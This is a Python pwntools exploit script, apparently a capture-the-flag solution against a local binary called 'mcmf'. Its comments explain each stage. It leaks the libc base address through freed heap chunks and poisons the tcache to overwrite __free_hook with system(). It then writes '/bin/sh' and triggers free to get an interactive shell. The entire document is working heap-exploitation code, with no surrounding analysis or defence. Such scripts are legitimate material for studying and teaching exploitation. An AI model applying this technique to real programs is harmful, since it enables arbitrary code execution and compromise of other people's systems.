from pwn import *

elf=ELF('./mcmf')

context(arch=elf.arch,log_level='debug')

def menu(choice):
    io.sendlineafter(b'choice: ',choice)
def add(fr,to,value,cost,flow,payload=False):
    menu(b'1')
    io.sendlineafter(b'from?\n',str(fr).encode())
    io.sendlineafter(b'to?\n',str(to).encode())
    if payload:
        io.sendlineafter(b'value?\n',payload)
    else:
        io.sendlineafter(b'value?\n',str(value).encode())
    io.sendlineafter(b'cost?\n',str(cost).encode())
    io.sendlineafter(b'flow?\n',str(flow).encode())
    io.recvuntil(b'gift: ')
    return io.recvuntil(b'\n')
def edit(index,new_value,new_cost,payload=False):
    menu(b'2')
    io.sendlineafter(b'index?\n',str(index).encode())
    value_info=io.recvuntil(b'\n')
    cost_info=io.recvuntil(b'\n')
    if payload:
        io.sendlineafter(b'value?\n',new_value)
    else:
        io.sendlineafter(b'value?\n',str(new_value).encode())
    io.sendlineafter(b'cost?\n',str(new_cost).encode())
    return value_info,cost_info
def delete(fr,to):
    menu(b'3')
    io.sendlineafter(b'from?\n',str(fr).encode())
    io.sendlineafter(b'to?',str(to).encode())
    # io.recvuntil(b'done.\n')
def calc(fr,to):
    menu(b'4')
    io.sendlineafter(b'from?\n',str(fr).encode())
    io.sendlineafter(b'to?\n',str(to).encode())

io=process('./mcmf')

########## leak libc
# mincost has to be more than 0xdeadbeef
# calc() will malloc 4 chunks, fullfill them, make freed-chunk to be calculated

# 2 (re)edge to be added in mincost
add(1,2,10,10,10)# 0,1
add(2,3,10,10,10)# 2,3

# 4 chunks to fullfill bins, waiting for re-malloc
add(11,12,0,0,0)# 4,5
add(13,14,0,0,0)# 6,7

# low-4bit-key-value written on '{->cost}'
delete(1,2) # 0
delete(2,3) # 2

# re-malloc firstly
delete(11,12) # 4
delete(12,11) # 5
delete(13,14) # 6
delete(14,13) # 7

# tcache:=> 7->6->5->4->2->0->null

# gdb.attach(io);input()
calc(1,3) # 8,9,10,11

# tcache :=> 2->0->null
io.recvuntil(b'gitf: ')
libc_base=int(io.recvuntil(b'\n',drop=True).decode(),16)-0x7ffbc0435be0+0x00007ffbc026b000-0x22000
success('libc_base_addr:'+hex(libc_base))
input()
########## tcache attack (poisoning)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
system=libc.sym['system']
free_hook=libc.sym['__free_hook']

add(4,5,10,10,10) # 12(2),13(0)

# tcache:=> null

add(6,7,10,10,10) # 14,15
delete(4,5) # 12
delete(5,4) # 13
delete(6,7) # 14
delete(7,6) # 15

# input('[check tcache 1]')
# tcache:=> 15->14->13->12
edit(15,free_hook+libc_base,9)

# input('[check tcache 2]')
# tcache:=> 15->fake_chunk_free_hook

add(8,9,-(system+libc_base),10,10) # 16,17 (17:fake_chunk_free_hook)
# input('[check tcache 3]')

edit(16,int('0x'+''.join([hex(ord(i)).strip('0x') for i in '/bin/sh\x00'][::-1]),16),1)
# input('[check tcache 4]')
delete(8,9)
io.interactive()